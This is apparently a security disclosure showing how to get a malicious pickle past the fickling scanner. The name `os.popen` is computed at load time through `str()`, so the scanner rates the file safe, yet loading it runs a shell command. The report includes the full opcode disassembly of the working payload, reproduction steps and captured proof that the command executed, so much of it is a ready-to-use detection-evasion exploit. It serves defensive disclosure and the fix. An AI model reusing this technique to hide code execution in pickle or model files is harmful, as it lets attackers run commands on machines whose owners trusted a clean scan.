# Fickling scanner bypass #2 — runtime-computed `STACK_GLOBAL` name defeats fickling's static analysis (RCE rated `LIKELY_SAFE`) **Target:** [`trailofbits/fickling`](https://github.com/trailofbits/fickling) — pickle security/analysis tool **Version tested:** `fickling 0.1.12` (latest on PyPI), fresh venv **Victim Python:** CPython 3.13.12 (system), plain `pickle.load` (no fickling hooks) **Class:** Security-scanner detection bypass → arbitrary command execution (RCE) via a pickle the scanner rates safe **Severity:** High — defense-evasion / detection-bypass against a tool whose whole job is to gate untrusted pickles > This is a **second, mechanistically distinct** bypass from the *aliased-`os`-re-export* (`random._os.popen`) gadget. See "Why this is distinct" below. --- ## Summary An 81-byte protocol-4 pickle is rated **`LIKELY_SAFE`** by fickling 0.1.12 — `is_likely_safe()` returns `True`, `check_safety().severity == LIKELY_SAFE` with **zero findings**, and the CLI `fickling --check-safety` exits **0 (EXIT_CLEAN)**. The identical file, opened with the ordinary standard-library `pickle.load`, **executes an attacker-controlled shell command** through `os.popen`. The bypass works because fickling is a **static** analyzer of the pickle program, but the dangerous global's **name string is computed at unpickle time**. The name `"os.popen"` is never present in the pickle as a `STACK_GLOBAL` argument — it is produced by `str("os.popen")` at load time and only *then* handed to `STACK_GLOBAL`. Fickling's interpreter sees an opaque value where a module/name string should be, emits a benign placeholder import, and rates the file safe. The real CPython unpickler evaluates the `str(...)` reduce, gets the string `"os.popen"`, and resolves `find_class("posixpath", "os.popen") → posixpath.os.popen → os.popen`. --- ## What fickling *thinks* the pickle does (its own decompiled AST) ```python from builtins import str _var0 = str('os.popen') from posixpath import _var0 # <-- opaque placeholder: fickling has no idea this is os.popen _var1 = _var0('id > /tmp/…') # <-- treated as a safe stdlib call (name in likely_safe_imports) _var2 = _var1 _var2.__setstate__({}) # BUILD -> setstate, excluded from the "unused variable" heuristic result = _var2 ``` Fickling literally reports the import as `from posixpath import _var0`. It never sees the string `"os.popen"` as an import name, so its module/name allowlist has nothing to match. ## What the real unpickler actually does ``` str("os.popen") -> "os.popen" (runtime string) STACK_GLOBAL "posixpath","os.popen" -> find_class(...) -> posixpath.os.popen == os.popen REDUCE os.popen("id > /tmp/…") -> command executes ``` --- ## Root cause 1. **`str(...)` is a whitelisted call.** `builtins.str` is in `SAFE_BUILTINS`; `from builtins import str` is not flagged, and `str` is added to `likely_safe_imports`, so `OvertlyBadEvals` skips the `str('os.popen')` reduce. 2. **The computed string is opaque to `STACK_GLOBAL`.** In `fickling/fickle.py`, `StackGlobal.run` expects the module/name on the interpreter stack to be `ast.Constant` strings. Here the name is an `ast.Name` (the `str()` result), so fickling takes the *lenient* path (`extract_identifier_from_ast_node`, prints a "malformed pickle … extracting identifiers to continue analysis" warning) and builds `ast.ImportFrom(module="posixpath", names=[alias("_var0")])`. 3. **The placeholder import is benign to every check.** `module="posixpath"` is stdlib → `NonStandardImports` passes; name `_var0` has no blocked component → `UnsafeImports` passes; and because the module is stdlib, `_var0` is added to `likely_safe_imports`, so the subsequent call `_var0(cmd)` is treated as a safe stdlib call → `OvertlyBadEvals`/`BadCalls` pass. 4. **`BUILD` erases the last residual signal.** Without it, `_var2 = _var1(...)` would be an unused assignment (`UnusedVariables` → `SUSPICIOUS`). `os.popen` returns an `os._wrap_close` object (has `__dict__`), so `BUILD` with an empty state dict succeeds; fickling emits `_var2.__setstate__({})`, which references the variable in a non-final position, so `UnusedVariables` reports nothing. Net severity collapses to **`LIKELY_SAFE`**. The tool's warning about "invalid types" for `STACK_GLOBAL` does **not** raise the severity, does not set `has_invalid_opcode`, and does not change the `is_likely_safe()`/exit-0 verdict — the security-relevant output still says *safe*. --- ## Why this is distinct from the aliased-`os`-re-export (`_os.popen`) gadget | | Gadget #1 (aliased re-export) | Gadget #2 (this finding) | |---|---|---| | STACK_GLOBAL name | **static literal** `"_os.popen"` | **computed at runtime** via `str("os.popen")` | | Does fickling see the name? | **Yes** — it decompiles `_os.popen('…')` | **No** — it decompiles `_var0('…')`, name unknown | | Is the literal name on fickling's blocklist? | No (`_os` is not `os`) | **Yes** (`os` is blocked — see negative control) | | Root cause | allowlist reasons over literal name *components*; the alias `_os` is not the literal `os` | analyzer is **blind to runtime-computed `find_class` arguments**; static view of the import is a benign placeholder | Gadget #1 evades the **allowlist**; gadget #2 evades the **static analysis itself**. They are independent: gadget #2 uses the literally-blocked name `os.popen` and still passes, because fickling never sees that string. --- ## Proof of Concept `evil_dynamic_name.pkl` (81 bytes) disassembly: ``` 0: \x80 PROTO 4 2: \x8c SHORT_BINUNICODE 'posixpath' # stdlib carrier (posixpath imports os) 13: \x8c SHORT_BINUNICODE 'builtins' 23: \x8c SHORT_BINUNICODE 'str' 28: \x93 STACK_GLOBAL # builtins.str (SAFE_BUILTINS) 29: \x8c SHORT_BINUNICODE 'os.popen' 39: \x85 TUPLE1 40: R REDUCE # str("os.popen") -> runtime string, opaque to fickling 41: \x93 STACK_GLOBAL # find_class("posixpath","os.popen") -> os.popen 42: \x8c SHORT_BINUNICODE 'id > /tmp/fickling_pwned_dyn.txt' 76: \x85 TUPLE1 77: R REDUCE # os.popen(cmd) -> command executes 78: } EMPTY_DICT 79: b BUILD # erase UnusedVariables signal 80: . STOP ``` **Reproduce:** ```bash pip install fickling==0.1.12 python build_poc.py # writes evil_dynamic_name.pkl fickling --check-safety evil_dynamic_name.pkl ; echo "exit=$?" # -> exit=0 (EXIT_CLEAN) python -c "import fickling; print(fickling.is_likely_safe('evil_dynamic_name.pkl'))" # -> True rm -f /tmp/fickling_pwned_dyn.txt python victim.py # plain pickle.load -> command runs cat /tmp/fickling_pwned_dyn.txt # proof: `id` output ``` --- ## Captured evidence (verbatim, fickling 0.1.12 / CPython 3.13.12) ``` severity : LIKELY_SAFE is_likely_safe? : True findings : '' (zero findings) has_invalid_opcode: False fickling.is_likely_safe(): True CLI: fickling --check-safety evil_dynamic_name.pkl CLI EXIT = 0 (0 = EXIT_CLEAN / safe) REAL loader: system python 3.13.12, plain pickle.load unpickle returned: _wrap_close --- sentinel /tmp/fickling_pwned_dyn.txt --- uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),... <-- os.popen executed `id` ``` ### Negative control (isolates the mechanism) The identical structure with a **static literal** name `posixpath / os.popen` (no `str()` indirection) is correctly caught: ``` severity: LIKELY_OVERTLY_MALICIOUS findings : Call to `os.popen(...)` can execute arbitrary code and is inherently unsafe `from posixpath import os.popen` is suspicious and indicative of an overtly malicious pickle file ``` So the *only* thing that flips the verdict from OVERTLY_MALICIOUS to LIKELY_SAFE is moving the name from a static literal to a runtime-computed `str(...)` — proving the bypass is the analyzer's blindness to computed `STACK_GLOBAL` arguments, not the choice of module/callable. --- ## Impact Fickling is widely used as a pre-load gate (directly and inside model-scanning pipelines) deciding whether an untrusted `.pkl`/model is safe. A victim who runs `fickling --check-safety` or `fickling.is_likely_safe(...)` before `pickle.load` gets a clean/safe verdict for a file that runs arbitrary OS commands on load — a full detection bypass yielding RCE. The technique is general: any dangerous global can be reached by pairing a clean stdlib-module literal (as the `STACK_GLOBAL` module) with a runtime-computed name string via a whitelisted builtin (`str`, and others), so it is not specific to `posixpath`/`os.popen`. ## Suggested remediation - Treat any `STACK_GLOBAL` whose module or name is **not a compile-time-constant string** as at least `SUSPICIOUS`/unsafe, rather than extracting a placeholder identifier and continuing as if the import were benign. A runtime-computed global target is the whole point of an evasion. - Do not add a name to `likely_safe_imports` (nor let `NonStandardImports`/`UnsafeImports` pass) for an `ImportFrom` synthesized from a non-string/opaque `STACK_GLOBAL` argument. - Consider constant-folding known-safe builtins (`str`, etc.) so a computed literal like `str("os.popen")` is resolved and then re-checked against the blocklist — or, more simply, refuse to constant-fold and flag the indirection. ## Dedup / prior art No public CVE/advisory describes this **runtime-computed `STACK_GLOBAL` name** evasion against fickling. It is distinct from the aliased-`os`-re-export gadget (which uses a static, non-blocklisted name) and from generic "pickle can import anything" notes: here fickling *specifically* rates the file `LIKELY_SAFE` with zero findings, and a negative control shows the same callable is caught when named statically.